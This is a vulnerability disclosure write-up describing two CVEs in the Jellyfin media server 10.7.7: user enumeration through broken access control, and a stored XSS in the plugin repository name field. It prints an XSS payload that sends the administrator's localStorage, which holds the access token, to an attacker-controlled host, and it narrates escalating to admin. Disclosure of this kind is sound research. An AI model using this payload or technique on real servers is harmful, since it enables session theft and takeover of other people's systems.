CVE-2022–35909 / CVE-2022–35910, Incorrect Access Control and XSS Stored to Jellyfin
This vulnerability on version 10.7.7,(fixed in 10.8.0)
Was discovered by Dan Barros and Eduardo Cardoso from Stolabs Security Research team.
What is Jellyfin?
Jellyfin is a Free Software Media System that puts you in control of managing and streaming your media, to provide it from a dedicated server to end-user devices via multiple apps.
Let’s take the test
When starting to recognize the application, we could observe an interesting point that caught our attention.
In the test context we have only two registered users, “user” and “adm”.
Logged in as an unprivileged user it was possible to identify an incorrect access control when intercepting requests through burp in the /users endpoint. We were able to list all users registered in the application and in the policy field we were able to identify which users are administrators.
For this discovery we received CVE-2022–35909
After this first step, another interesting point that we noticed is that each user receives a fixed ID of 32 alphanumeric characters registered in the system.
After collecting this information, we logged out and logged in again in the application and watching the requests after entering the username and password we came across the following:
In Jellyfin’s authentication requests, the application associates the UserID with the user’s name and, knowing that, we decided to change the userID to the administrator’s and see the result.
During the authentication process we changed the userid to the adm user.
After changing the user ID for the administrator, we log in as a user but load the administrator panel on the dashboard.
We were able to access the admin panel with the unprivileged user.
Re-identifying registered users on Jellyfin
When I clicked on allow this user to administer the server and then on save I got a 403 forbidden and couldn’t escalate the privilege.
Returning to the authentication process, we saw that when logging in we received a session access token according to our access profile in the application.
And now… how to get the admin access token?
Within the user profile and being able to access the admin dash, we noticed that the plugin does not validate the access token and even with restricted access we were able to save new repositories.
WOW, Repository saved as user without permission.
Stealing acess token via XSS Stored
In the tests we found that the field “repository name” is vulnerable to xss stored. After inserting a payload that would send us the admin’s localstorage content, where the acess token is located, we would be able to impersonate the admin in our requests and finally elevate our privilege.
I opened port 8292 on my VPS and listened.
Payload used in exploration:
<img src=x onerror=”document.location=’http://MYIP:PORT/?'+(JSON.stringify(localStorage))">
And after saving the xss in the name of the repository, we wait for the adm to log in and access the plugins/repositories tab and receive the necessary data to complete our objective.
Upon receiving the connection from the server, we will analyze the data received and there is the acess token of the logged in administrator.
After getting the access token from the administrator, we go back to the burp where we have the request to escalate our privilege and in this case we just need to change the access token to the administrator’s and become the server’s administrator.
For this discovery of the Xss stored we received the CVE-2022–35910
Wow, after logging out and logging back in as a user we became the jellyfin server administrator where we can create new users, delete, access restricted media among other functions. =)
